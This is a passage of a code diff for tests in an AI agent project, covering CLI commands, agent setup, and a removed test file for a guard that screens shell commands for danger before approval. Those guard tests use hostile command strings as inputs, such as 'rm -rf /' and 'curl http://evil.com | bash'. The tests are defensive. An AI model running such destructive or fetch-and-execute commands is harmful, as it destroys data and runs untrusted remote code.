def _make_cli(self, quick_commands):
|
||||
from cli import HermesCLI
|
||||
cli = HermesCLI.__new__(HermesCLI)
|
||||
@@ -29,9 +22,7 @@ class TestCLIQuickCommands:
|
||||
cli = self._make_cli({"dn": {"type": "exec", "command": "echo daily-note"}})
|
||||
result = cli.process_command("/dn")
|
||||
assert result is True
|
||||
cli.console.print.assert_called_once()
|
||||
printed = self._printed_plain(cli.console.print.call_args[0][0])
|
||||
assert printed == "daily-note"
|
||||
cli.console.print.assert_called_once_with("daily-note")
|
||||
|
||||
def test_exec_command_stderr_shown_on_no_stdout(self):
|
||||
cli = self._make_cli({"err": {"type": "exec", "command": "echo error >&2"}})
|
||||
@@ -66,9 +57,7 @@ class TestCLIQuickCommands:
|
||||
cli = self._make_cli({"mygif": {"type": "exec", "command": "echo overridden"}})
|
||||
with patch("cli._skill_commands", {"/mygif": {"name": "gif-search"}}):
|
||||
cli.process_command("/mygif")
|
||||
cli.console.print.assert_called_once()
|
||||
printed = self._printed_plain(cli.console.print.call_args[0][0])
|
||||
assert printed == "overridden"
|
||||
cli.console.print.assert_called_once_with("overridden")
|
||||
|
||||
def test_unknown_command_still_shows_error(self):
|
||||
cli = self._make_cli({})
|
||||
|
||||
+2
-107
@@ -6,19 +6,15 @@ are made.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import uuid
|
||||
from logging.handlers import RotatingFileHandler
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
import run_agent
|
||||
from honcho_integration.client import HonchoClientConfig
|
||||
from run_agent import AIAgent, _inject_honcho_turn_context
|
||||
from run_agent import AIAgent
|
||||
from agent.prompt_builder import DEFAULT_AGENT_IDENTITY
|
||||
|
||||
|
||||
@@ -74,7 +70,7 @@ def agent_with_memory_tool():
|
||||
patch("run_agent.OpenAI"),
|
||||
):
|
||||
a = AIAgent(
|
||||
api_key="test-k...7890",
|
||||
api_key="test-key-1234567890",
|
||||
quiet_mode=True,
|
||||
skip_context_files=True,
|
||||
skip_memory=True,
|
||||
@@ -83,60 +79,6 @@ def agent_with_memory_tool():
|
||||
return a
|
||||
|
||||
|
||||
def test_aiagent_reuses_existing_errors_log_handler():
|
||||
"""Repeated AIAgent init should not accumulate duplicate errors.log handlers."""
|
||||
root_logger = logging.getLogger()
|
||||
original_handlers = list(root_logger.handlers)
|
||||
error_log_path = (run_agent._hermes_home / "logs" / "errors.log").resolve()
|
||||
|
||||
try:
|
||||
for handler in list(root_logger.handlers):
|
||||
root_logger.removeHandler(handler)
|
||||
|
||||
error_log_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
preexisting_handler = RotatingFileHandler(
|
||||
error_log_path,
|
||||
maxBytes=2 * 1024 * 1024,
|
||||
backupCount=2,
|
||||
)
|
||||
root_logger.addHandler(preexisting_handler)
|
||||
|
||||
with (
|
||||
patch(
|
||||
"run_agent.get_tool_definitions",
|
||||
return_value=_make_tool_defs("web_search"),
|
||||
),
|
||||
patch("run_agent.check_toolset_requirements", return_value={}),
|
||||
patch("run_agent.OpenAI"),
|
||||
):
|
||||
AIAgent(
|
||||
api_key="test-k...7890",
|
||||
quiet_mode=True,
|
||||
skip_context_files=True,
|
||||
skip_memory=True,
|
||||
)
|
||||
AIAgent(
|
||||
api_key="test-k...7890",
|
||||
quiet_mode=True,
|
||||
skip_context_files=True,
|
||||
skip_memory=True,
|
||||
)
|
||||
|
||||
matching_handlers = [
|
||||
handler for handler in root_logger.handlers
|
||||
if isinstance(handler, RotatingFileHandler)
|
||||
and error_log_path == Path(handler.baseFilename).resolve()
|
||||
]
|
||||
assert len(matching_handlers) == 1
|
||||
finally:
|
||||
for handler in list(root_logger.handlers):
|
||||
root_logger.removeHandler(handler)
|
||||
if handler not in original_handlers:
|
||||
handler.close()
|
||||
for handler in original_handlers:
|
||||
root_logger.addHandler(handler)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helper to build mock assistant messages (API response objects)
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -1499,53 +1441,6 @@ class TestSystemPromptStability:
|
||||
should_prefetch = bool(conversation_history) and recall_mode != "tools"
|
||||
assert should_prefetch is True
|
||||
|
||||
def test_inject_honcho_turn_context_appends_system_note(self):
|
||||
content = _inject_honcho_turn_context("hello", "## Honcho Memory\nprior context")
|
||||
assert "hello" in content
|
||||
assert "Honcho memory was retrieved from prior sessions" in content
|
||||
assert "## Honcho Memory" in content
|
||||
|
||||
def test_honcho_continuing_session_keeps_turn_context_out_of_system_prompt(self, agent):
|
||||
captured = {}
|
||||
|
||||
def _fake_api_call(api_kwargs):
|
||||
captured.update(api_kwargs)
|
||||
return _mock_response(content="done", finish_reason="stop")
|
||||
|
||||
agent._honcho = object()
|
||||
agent._honcho_session_key = "session-1"
|
||||
agent._honcho_config = SimpleNamespace(
|
||||
ai_peer="hermes",
|
||||
memory_mode="hybrid",
|
||||
write_frequency="async",
|
||||
recall_mode="hybrid",
|
||||
)
|
||||
agent._use_prompt_caching = False
|
||||
conversation_history = [
|
||||
{"role": "user", "content": "hello"},
|
||||
{"role": "assistant", "content": "hi there"},
|
||||
]
|
||||
|
||||
with (
|
||||
patch.object(agent, "_honcho_prefetch", return_value="## Honcho Memory\nprior context"),
|
||||
patch.object(agent, "_queue_honcho_prefetch"),
|
||||
patch.object(agent, "_persist_session"),
|
||||
patch.object(agent, "_save_trajectory"),
|
||||
patch.object(agent, "_cleanup_task_resources"),
|
||||
patch.object(agent, "_interruptible_api_call", side_effect=_fake_api_call),
|
||||
):
|
||||
result = agent.run_conversation("what were we doing?", conversation_history=conversation_history)
|
||||
|
||||
assert result["completed"] is True
|
||||
api_messages = captured["messages"]
|
||||
assert api_messages[0]["role"] == "system"
|
||||
assert "prior context" not in api_messages[0]["content"]
|
||||
current_user = api_messages[-1]
|
||||
assert current_user["role"] == "user"
|
||||
assert "what were we doing?" in current_user["content"]
|
||||
assert "prior context" in current_user["content"]
|
||||
assert "Honcho memory was retrieved from prior sessions" in current_user["content"]
|
||||
|
||||
def test_honcho_prefetch_runs_on_first_turn(self):
|
||||
"""Honcho prefetch should run when conversation_history is empty."""
|
||||
conversation_history = []
|
||||
|
||||
@@ -377,18 +377,6 @@ class TestViewFullCommand:
|
||||
result = prompt_dangerous_approval(long_cmd, "recursive delete")
|
||||
assert result == "always"
|
||||
|
||||
def test_view_then_session_when_permanent_hidden(self):
|
||||
"""The view-full flow still works when allow_permanent=False."""
|
||||
long_cmd = "rm -rf " + "d" * 200
|
||||
inputs = iter(["v", "s"])
|
||||
with mock_patch("builtins.input", side_effect=inputs):
|
||||
result = prompt_dangerous_approval(
|
||||
long_cmd,
|
||||
"recursive delete",
|
||||
allow_permanent=False,
|
||||
)
|
||||
assert result == "session"
|
||||
|
||||
def test_view_not_shown_for_short_command(self):
|
||||
"""Short commands don't offer the view option; 'v' falls through to deny."""
|
||||
short_cmd = "rm -rf /tmp"
|
||||
|
||||
@@ -808,7 +808,7 @@ class TestTryAttachClipboardImage:
|
||||
with patch("hermes_cli.clipboard.save_clipboard_image", return_value=True):
|
||||
cli._try_attach_clipboard_image()
|
||||
path = cli._attached_images[0]
|
||||
assert path.parent == Path(os.environ["HERMES_HOME"]) / "images"
|
||||
assert path.parent == Path.home() / ".hermes" / "images"
|
||||
assert path.name.startswith("clip_")
|
||||
assert path.suffix == ".png"
|
||||
|
||||
|
||||
@@ -1,325 +0,0 @@
|
||||
"""Tests for check_all_command_guards() — combined tirith + dangerous command guard."""
|
||||
|
||||
import os
|
||||
from unittest.mock import patch, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
import tools.approval as approval_module
|
||||
from tools.approval import (
|
||||
approve_session,
|
||||
check_all_command_guards,
|
||||
clear_session,
|
||||
is_approved,
|
||||
)
|
||||
|
||||
# Ensure the module is importable so we can patch it
|
||||
import tools.tirith_security
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _tirith_result(action="allow", findings=None, summary=""):
|
||||
return {"action": action, "findings": findings or [], "summary": summary}
|
||||
|
||||
|
||||
# The lazy import inside check_all_command_guards does:
|
||||
# from tools.tirith_security import check_command_security
|
||||
# We need to patch the function on the tirith_security module itself.
|
||||
_TIRITH_PATCH = "tools.tirith_security.check_command_security"
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clean_state():
|
||||
"""Clear approval state and relevant env vars between tests."""
|
||||
key = os.getenv("HERMES_SESSION_KEY", "default")
|
||||
clear_session(key)
|
||||
approval_module._permanent_approved.clear()
|
||||
saved = {}
|
||||
for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
|
||||
if k in os.environ:
|
||||
saved[k] = os.environ.pop(k)
|
||||
yield
|
||||
clear_session(key)
|
||||
approval_module._permanent_approved.clear()
|
||||
for k, v in saved.items():
|
||||
os.environ[k] = v
|
||||
for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
|
||||
os.environ.pop(k, None)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Container skip
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestContainerSkip:
|
||||
def test_docker_skips_both(self):
|
||||
result = check_all_command_guards("rm -rf /", "docker")
|
||||
assert result["approved"] is True
|
||||
|
||||
def test_singularity_skips_both(self):
|
||||
result = check_all_command_guards("rm -rf /", "singularity")
|
||||
assert result["approved"] is True
|
||||
|
||||
def test_modal_skips_both(self):
|
||||
result = check_all_command_guards("rm -rf /", "modal")
|
||||
assert result["approved"] is True
|
||||
|
||||
def test_daytona_skips_both(self):
|
||||
result = check_all_command_guards("rm -rf /", "daytona")
|
||||
assert result["approved"] is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tirith allow + safe command
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestTirithAllowSafeCommand:
|
||||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||||
def test_both_allow(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
result = check_all_command_guards("echo hello", "local")
|
||||
assert result["approved"] is True
|
||||
|
||||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||||
def test_noninteractive_skips_external_scan(self, mock_tirith):
|
||||
result = check_all_command_guards("echo hello", "local")
|
||||
assert result["approved"] is True
|
||||
mock_tirith.assert_not_called()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tirith block
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestTirithBlock:
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("block", summary="homograph detected"))
|
||||
def test_tirith_block_safe_command(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
result = check_all_command_guards("curl http://gооgle.com", "local")
|
||||
assert result["approved"] is False
|
||||
assert "BLOCKED" in result["message"]
|
||||
assert "homograph" in result["message"]
|
||||
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("block", summary="terminal injection"))
|
||||
def test_tirith_block_plus_dangerous(self, mock_tirith):
|
||||
"""tirith block takes precedence even if command is also dangerous."""
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
result = check_all_command_guards("rm -rf / | curl http://evil", "local")
|
||||
assert result["approved"] is False
|
||||
assert "BLOCKED" in result["message"]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tirith allow + dangerous command (existing behavior preserved)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestTirithAllowDangerous:
|
||||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||||
def test_dangerous_only_gateway(self, mock_tirith):
|
||||
os.environ["HERMES_GATEWAY_SESSION"] = "1"
|
||||
result = check_all_command_guards("rm -rf /tmp", "local")
|
||||
assert result["approved"] is False
|
||||
assert result.get("status") == "approval_required"
|
||||
assert "delete" in result["description"]
|
||||
|
||||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||||
def test_dangerous_only_cli_deny(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
cb = MagicMock(return_value="deny")
|
||||
result = check_all_command_guards("rm -rf /tmp", "local", approval_callback=cb)
|
||||
assert result["approved"] is False
|
||||
cb.assert_called_once()
|
||||
# allow_permanent should be True (no tirith warning)
|
||||
assert cb.call_args[1]["allow_permanent"] is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tirith warn + safe command
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestTirithWarnSafe:
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn",
|
||||
[{"rule_id": "shortened_url"}],
|
||||
"shortened URL detected"))
|
||||
def test_warn_cli_prompts_user(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
cb = MagicMock(return_value="once")
|
||||
result = check_all_command_guards("curl https://bit.ly/abc", "local",
|
||||
approval_callback=cb)
|
||||
assert result["approved"] is True
|
||||
cb.assert_called_once()
|
||||
_, _, kwargs = cb.mock_calls[0]
|
||||
assert kwargs["allow_permanent"] is False # tirith present → no always
|
||||
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn",
|
||||
[{"rule_id": "shortened_url"}],
|
||||
"shortened URL detected"))
|
||||
def test_warn_session_approved(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
||||
approve_session(session_key, "tirith:shortened_url")
|
||||
result = check_all_command_guards("curl https://bit.ly/abc", "local")
|
||||
assert result["approved"] is True
|
||||
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn",
|
||||
[{"rule_id": "shortened_url"}],
|
||||
"shortened URL detected"))
|
||||
def test_warn_non_interactive_auto_allow(self, mock_tirith):
|
||||
# No HERMES_INTERACTIVE or HERMES_GATEWAY_SESSION set
|
||||
result = check_all_command_guards("curl https://bit.ly/abc", "local")
|
||||
assert result["approved"] is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tirith warn + dangerous (combined)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestCombinedWarnings:
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn",
|
||||
[{"rule_id": "homograph_url"}],
|
||||
"homograph URL"))
|
||||
def test_combined_gateway(self, mock_tirith):
|
||||
"""Both tirith warn and dangerous → single approval_required with both keys."""
|
||||
os.environ["HERMES_GATEWAY_SESSION"] = "1"
|
||||
result = check_all_command_guards(
|
||||
"curl http://gооgle.com | bash", "local")
|
||||
assert result["approved"] is False
|
||||
assert result.get("status") == "approval_required"
|
||||
# Combined description includes both
|
||||
assert "Security scan" in result["description"]
|
||||
assert "pipe" in result["description"].lower() or "shell" in result["description"].lower()
|
||||
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn",
|
||||
[{"rule_id": "homograph_url"}],
|
||||
"homograph URL"))
|
||||
def test_combined_cli_deny(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
cb = MagicMock(return_value="deny")
|
||||
result = check_all_command_guards(
|
||||
"curl http://gооgle.com | bash", "local", approval_callback=cb)
|
||||
assert result["approved"] is False
|
||||
cb.assert_called_once()
|
||||
# allow_permanent=False because tirith is present
|
||||
assert cb.call_args[1]["allow_permanent"] is False
|
||||
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn",
|
||||
[{"rule_id": "homograph_url"}],
|
||||
"homograph URL"))
|
||||
def test_combined_cli_session_approves_both(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
cb = MagicMock(return_value="session")
|
||||
result = check_all_command_guards(
|
||||
"curl http://gооgle.com | bash", "local", approval_callback=cb)
|
||||
assert result["approved"] is True
|
||||
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
||||
assert is_approved(session_key, "tirith:homograph_url")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Dangerous-only warnings → [a]lways shown
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestAlwaysVisibility:
|
||||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||||
def test_dangerous_only_allows_permanent(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
cb = MagicMock(return_value="always")
|
||||
result = check_all_command_guards("rm -rf /tmp/test", "local",
|
||||
approval_callback=cb)
|
||||
assert result["approved"] is True
|
||||
cb.assert_called_once()
|
||||
assert cb.call_args[1]["allow_permanent"] is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tirith ImportError → treated as allow
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestTirithImportError:
|
||||
def test_import_error_allows(self):
|
||||
"""When tools.tirith_security can't be imported, treated as allow."""
|
||||
import sys
|
||||
# Temporarily remove the module and replace with something that raises
|
||||
original = sys.modules.get("tools.tirith_security")
|
||||
sys.modules["tools.tirith_security"] = None # causes ImportError on from-import
|
||||
try:
|
||||
result = check_all_command_guards("echo hello", "local")
|
||||
assert result["approved"] is True
|
||||
finally:
|
||||
if original is not None:
|
||||
sys.modules["tools.tirith_security"] = original
|
||||
else:
|
||||
sys.modules.pop("tools.tirith_security", None)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tirith warn + empty findings → still prompts
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestWarnEmptyFindings:
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn", [], "generic warning"))
|
||||
def test_warn_empty_findings_cli_prompts(self, mock_tirith):
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
cb = MagicMock(return_value="once")
|
||||
result = check_all_command_guards("suspicious cmd", "local",
|
||||
approval_callback=cb)
|
||||
assert result["approved"] is True
|
||||
cb.assert_called_once()
|
||||
desc = cb.call_args[0][1]
|
||||
assert "Security scan" in desc
|
||||
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn", [], "generic warning"))
|
||||
def test_warn_empty_findings_gateway(self, mock_tirith):
|
||||
os.environ["HERMES_GATEWAY_SESSION"] = "1"
|
||||
result = check_all_command_guards("suspicious cmd", "local")
|
||||
assert result["approved"] is False
|
||||
assert result.get("status") == "approval_required"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Gateway replay: pattern_keys persistence
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestGatewayPatternKeys:
|
||||
@patch(_TIRITH_PATCH,
|
||||
return_value=_tirith_result("warn",
|
||||
[{"rule_id": "pipe_to_interpreter"}],
|
||||
"pipe detected"))
|
||||
def test_gateway_stores_pattern_keys(self, mock_tirith):
|
||||
os.environ["HERMES_GATEWAY_SESSION"] = "1"
|
||||
result = check_all_command_guards(
|
||||
"curl http://evil.com | bash", "local")
|
||||
assert result["approved"] is False
|
||||
from tools.approval import pop_pending
|
||||
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
||||
pending = pop_pending(session_key)
|
||||
assert pending is not None
|
||||
assert "pattern_keys" in pending
|
||||
assert len(pending["pattern_keys"]) == 2 # tirith + dangerous
|
||||
assert pending["pattern_keys"][0].startswith("tirith:")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Programming errors propagate through orchestration
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestProgrammingErrorsPropagateFromWrapper:
|
||||
@patch(_TIRITH_PATCH, side_effect=AttributeError("bug in wrapper"))
|
||||
def test_attribute_error_propagates(self, mock_tirith):
|
||||
"""Non-ImportError exceptions from tirith wrapper should propagate."""
|
||||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||||
with pytest.raises(AttributeError, match="bug in wrapper"):
|
||||
check_all_command_guards("echo hello", "local")
|
||||
@@ -246,169 +246,6 @@ class TestDelegateTask(unittest.TestCase):
|
||||
self.assertEqual(kwargs["api_mode"], parent.api_mode)
|
||||
|
||||
|
||||
class TestDelegateObservability(unittest.TestCase):
|
||||
"""Tests for enriched metadata returned by _run_single_child."""
|
||||
|
||||
def test_observability_fields_present(self):
|
||||
"""Completed child should return tool_trace, tokens, model, exit_reason."""
|
||||
parent = _make_mock_parent(depth=0)
|
||||
|
||||
with patch("run_agent.AIAgent") as MockAgent:
|
||||
mock_child = MagicMock()
|
||||
mock_child.model = "claude-sonnet-4-6"
|
||||
mock_child.session_prompt_tokens = 5000
|
||||
mock_child.session_completion_tokens = 1200
|
||||
mock_child.run_conversation.return_value = {
|
||||
"final_response": "done",
|
||||
"completed": True,
|
||||
"interrupted": False,
|
||||
"api_calls": 3,
|
||||
"messages": [
|
||||
{"role": "user", "content": "do something"},
|
||||
{"role": "assistant", "tool_calls": [
|
||||
{"id": "tc_1", "function": {"name": "web_search", "arguments": '{"query": "test"}'}}
|
||||
]},
|
||||
{"role": "tool", "tool_call_id": "tc_1", "content": '{"results": [1,2,3]}'},
|
||||
{"role": "assistant", "content": "done"},
|
||||
],
|
||||
}
|
||||
MockAgent.return_value = mock_child
|
||||
|
||||
result = json.loads(delegate_task(goal="Test observability", parent_agent=parent))
|
||||
entry = result["results"][0]
|
||||
|
||||
# Core observability fields
|
||||
self.assertEqual(entry["model"], "claude-sonnet-4-6")
|
||||
self.assertEqual(entry["exit_reason"], "completed")
|
||||
self.assertEqual(entry["tokens"]["input"], 5000)
|
||||
self.assertEqual(entry["tokens"]["output"], 1200)
|
||||
|
||||
# Tool trace
|
||||
self.assertEqual(len(entry["tool_trace"]), 1)
|
||||
self.assertEqual(entry["tool_trace"][0]["tool"], "web_search")
|
||||
self.assertIn("args_bytes", entry["tool_trace"][0])
|
||||
self.assertIn("result_bytes", entry["tool_trace"][0])
|
||||
self.assertEqual(entry["tool_trace"][0]["status"], "ok")
|
||||
|
||||
def test_tool_trace_detects_error(self):
|
||||
"""Tool results containing 'error' should be marked as error status."""
|
||||
parent = _make_mock_parent(depth=0)
|
||||
|
||||
with patch("run_agent.AIAgent") as MockAgent:
|
||||
mock_child = MagicMock()
|
||||
mock_child.model = "claude-sonnet-4-6"
|
||||
mock_child.session_prompt_tokens = 0
|
||||
mock_child.session_completion_tokens = 0
|
||||
mock_child.run_conversation.return_value = {
|
||||
"final_response": "failed",
|
||||
"completed": True,
|
||||
"interrupted": False,
|
||||
"api_calls": 1,
|
||||
"messages": [
|
||||
{"role": "assistant", "tool_calls": [
|
||||
{"id": "tc_1", "function": {"name": "terminal", "arguments": '{"cmd": "ls"}'}}
|
||||
]},
|
||||
{"role": "tool", "tool_call_id": "tc_1", "content": "Error: command not found"},
|
||||
],
|
||||
}
|
||||
MockAgent.return_value = mock_child
|
||||
|
||||
result = json.loads(delegate_task(goal="Test error trace", parent_agent=parent))
|
||||
trace = result["results"][0]["tool_trace"]
|
||||
self.assertEqual(trace[0]["status"], "error")
|
||||
|
||||
def test_parallel_tool_calls_paired_correctly(self):
|
||||
"""Parallel tool calls should each get their own result via tool_call_id matching."""
|
||||
parent = _make_mock_parent(depth=0)
|
||||
|
||||
with patch("run_agent.AIAgent") as MockAgent:
|
||||
mock_child = MagicMock()
|
||||
mock_child.model = "claude-sonnet-4-6"
|
||||
mock_child.session_prompt_tokens = 3000
|
||||
mock_child.session_completion_tokens = 800
|
||||
mock_child.run_conversation.return_value = {
|
||||
"final_response": "done",
|
||||
"completed": True,
|
||||
"interrupted": False,
|
||||
"api_calls": 1,
|
||||
"messages": [
|
||||
{"role": "assistant", "tool_calls": [
|
||||
{"id": "tc_a", "function": {"name": "web_search", "arguments": '{"q": "a"}'}},
|
||||
{"id": "tc_b", "function": {"name": "web_search", "arguments": '{"q": "b"}'}},
|
||||
{"id": "tc_c", "function": {"name": "terminal", "arguments": '{"cmd": "ls"}'}},
|
||||
]},
|
||||
{"role": "tool", "tool_call_id": "tc_a", "content": '{"ok": true}'},
|
||||
{"role": "tool", "tool_call_id": "tc_b", "content": "Error: rate limited"},
|
||||
{"role": "tool", "tool_call_id": "tc_c", "content": "file1.txt\nfile2.txt"},
|
||||
{"role": "assistant", "content": "done"},
|
||||
],
|
||||
}
|
||||
MockAgent.return_value = mock_child
|
||||
|
||||
result = json.loads(delegate_task(goal="Test parallel", parent_agent=parent))
|
||||
trace = result["results"][0]["tool_trace"]
|
||||
|
||||
# All three tool calls should have results
|
||||
self.assertEqual(len(trace), 3)
|
||||
|
||||
# First: web_search → ok
|
||||
self.assertEqual(trace[0]["tool"], "web_search")
|
||||
self.assertEqual(trace[0]["status"], "ok")
|
||||
self.assertIn("result_bytes", trace[0])
|
||||
|
||||
# Second: web_search → error
|
||||
self.assertEqual(trace[1]["tool"], "web_search")
|
||||
self.assertEqual(trace[1]["status"], "error")
|
||||
self.assertIn("result_bytes", trace[1])
|
||||
|
||||
# Third: terminal → ok
|
||||
self.assertEqual(trace[2]["tool"], "terminal")
|
||||
self.assertEqual(trace[2]["status"], "ok")
|
||||
self.assertIn("result_bytes", trace[2])
|
||||
|
||||
def test_exit_reason_interrupted(self):
|
||||
"""Interrupted child should report exit_reason='interrupted'."""
|
||||
parent = _make_mock_parent(depth=0)
|
||||
|
||||
with patch("run_agent.AIAgent") as MockAgent:
|
||||
mock_child = MagicMock()
|
||||
mock_child.model = "claude-sonnet-4-6"
|
||||
mock_child.session_prompt_tokens = 0
|
||||
mock_child.session_completion_tokens = 0
|
||||
mock_child.run_conversation.return_value = {
|
||||
"final_response": "",
|
||||
"completed": False,
|
||||
"interrupted": True,
|
||||
"api_calls": 2,
|
||||
"messages": [],
|
||||
}
|
||||
MockAgent.return_value = mock_child
|
||||
|
||||
result = json.loads(delegate_task(goal="Test interrupt", parent_agent=parent))
|
||||
self.assertEqual(result["results"][0]["exit_reason"], "interrupted")
|
||||
|
||||
def test_exit_reason_max_iterations(self):
|
||||
"""Child that didn't complete and wasn't interrupted hit max_iterations."""
|
||||
parent = _make_mock_parent(depth=0)
|
||||
|
||||
with patch("run_agent.AIAgent") as MockAgent:
|
||||
mock_child = MagicMock()
|
||||
mock_child.model = "claude-sonnet-4-6"
|
||||
mock_child.session_prompt_tokens = 0
|
||||
mock_child.session_completion_tokens = 0
|
||||
mock_child.run_conversation.return_value = {
|
||||
"final_response": "",
|
||||
"completed": False,
|
||||
"interrupted": False,
|
||||
"api_calls": 50,
|
||||
"messages": [],
|
||||
}
|
||||
MockAgent.return_value = mock_child
|
||||
|
||||
result = json.loads(delegate_task(goal="Test max iter", parent_agent=parent))
|
||||
self.assertEqual(result["results"][0]["exit_reason"], "max_iterations")
|
||||
|
||||
|
||||
class TestBlockedTools(unittest.TestCase):
|
||||
def test_blocked_tools_constant(self):
|
||||
for tool in ["delegate_task", "clarify", "memory", "send_message", "execute_code"]:
|
||||
|
||||
@@ -1,173 +0,0 @@
|
||||
"""Tests for provider env var blocklist in LocalEnvironment.
|
||||
|
||||
Verifies that Hermes-internal provider env vars (OPENAI_BASE_URL, etc.)
|
||||
are stripped from subprocess environments so external CLIs are not
|
||||
silently misrouted.
|
||||
|
||||
See: https://github.com/NousResearch/hermes-agent/issues/1002
|
||||
"""
|
||||
|
||||
import os
|
||||
import threading
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
from tools.environments.local import (
|
||||
LocalEnvironment,
|
||||
_HERMES_PROVIDER_ENV_BLOCKLIST,
|
||||
_HERMES_PROVIDER_ENV_FORCE_PREFIX,
|
||||
)
|
||||
|
||||
|
||||
def _make_fake_popen(captured: dict):
|
||||
"""Return a fake Popen constructor that records the env kwarg."""
|
||||
def fake_popen(cmd, **kwargs):
|
||||
captured["env"] = kwargs.get("env", {})
|
||||
proc = MagicMock()
|
||||
proc.poll.return_value = 0
|
||||
proc.returncode = 0
|
||||
proc.stdout = iter([])
|
||||
proc.stdout.close = lambda: None
|
||||
proc.stdin = MagicMock()
|
||||
return proc
|
||||
return fake_popen
|
||||
|
||||
|
||||
def _run_with_env(extra_os_env=None, self_env=None):
|
||||
"""Execute a command via LocalEnvironment with mocked Popen
|
||||
and return the env dict passed to the subprocess."""
|
||||
captured = {}
|
||||
fake_interrupt = threading.Event()
|
||||
test_environ = {
|
||||
"PATH": "/usr/bin:/bin",
|
||||
"HOME": "/home/user",
|
||||
"USER": "testuser",
|
||||
}
|
||||
if extra_os_env:
|
||||
test_environ.update(extra_os_env)
|
||||
|
||||
env = LocalEnvironment(cwd="/tmp", timeout=10, env=self_env)
|
||||
|
||||
with patch("tools.environments.local._find_bash", return_value="/bin/bash"), \
|
||||
patch("subprocess.Popen", side_effect=_make_fake_popen(captured)), \
|
||||
patch("tools.terminal_tool._interrupt_event", fake_interrupt), \
|
||||
patch.dict(os.environ, test_environ, clear=True):
|
||||
env.execute("echo hello")
|
||||
|
||||
return captured.get("env", {})
|
||||
|
||||
|
||||
class TestProviderEnvBlocklist:
|
||||
"""Provider env vars loaded from ~/.hermes/.env must not leak."""
|
||||
|
||||
def test_blocked_vars_are_stripped(self):
|
||||
"""OPENAI_BASE_URL and other provider vars must not appear in subprocess env."""
|
||||
leaked_vars = {
|
||||
"OPENAI_BASE_URL": "http://localhost:8000/v1",
|
||||
"OPENAI_API_KEY": "sk-fake-key",
|
||||
